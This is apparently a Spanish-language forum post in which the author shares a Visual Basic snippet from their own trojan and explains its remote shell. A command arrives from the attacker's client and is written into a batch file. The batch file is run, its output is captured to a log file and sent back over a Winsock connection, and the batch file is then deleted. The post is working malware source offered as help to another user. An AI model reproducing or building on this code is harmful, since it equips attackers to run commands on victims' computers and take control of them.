Open "c:\test.bat" For Binary As #1
Put #1, , "@echo off" & vbCrLf
Put #1, , sdata(1) & ">>c:\log.txt" & vbCrLf
Put #1, , "exit"
Close #1
Open "c:\log.txt" For Input As #1
conten = Input(LOF(1), #1)
Close #1
WS.SendData "no|" & conten
Shell "c:\test.bat"
Kill "c:\test.bat"
Mira la remote shell de mi troyano(se puede optimizar en vez de crear bats hacer shell"" pero bueh...)lo que hago es desde el cliente enviar el comando,y como ves lo pone en un bat,esto:
previamente el comando lo que hace es guardar la respuesta en un archivo de texto situado en c: con nombre log.txt,bien pues luego lo leemos con el input,y lo enviamos al cliente y ya tenemos nuesra remote shell.
Ejecutamso el bat para que se ejecute el comando,y eliminamos luego el bat y el archivo de texto con el resultado.
Espero qeu te sirva saludos.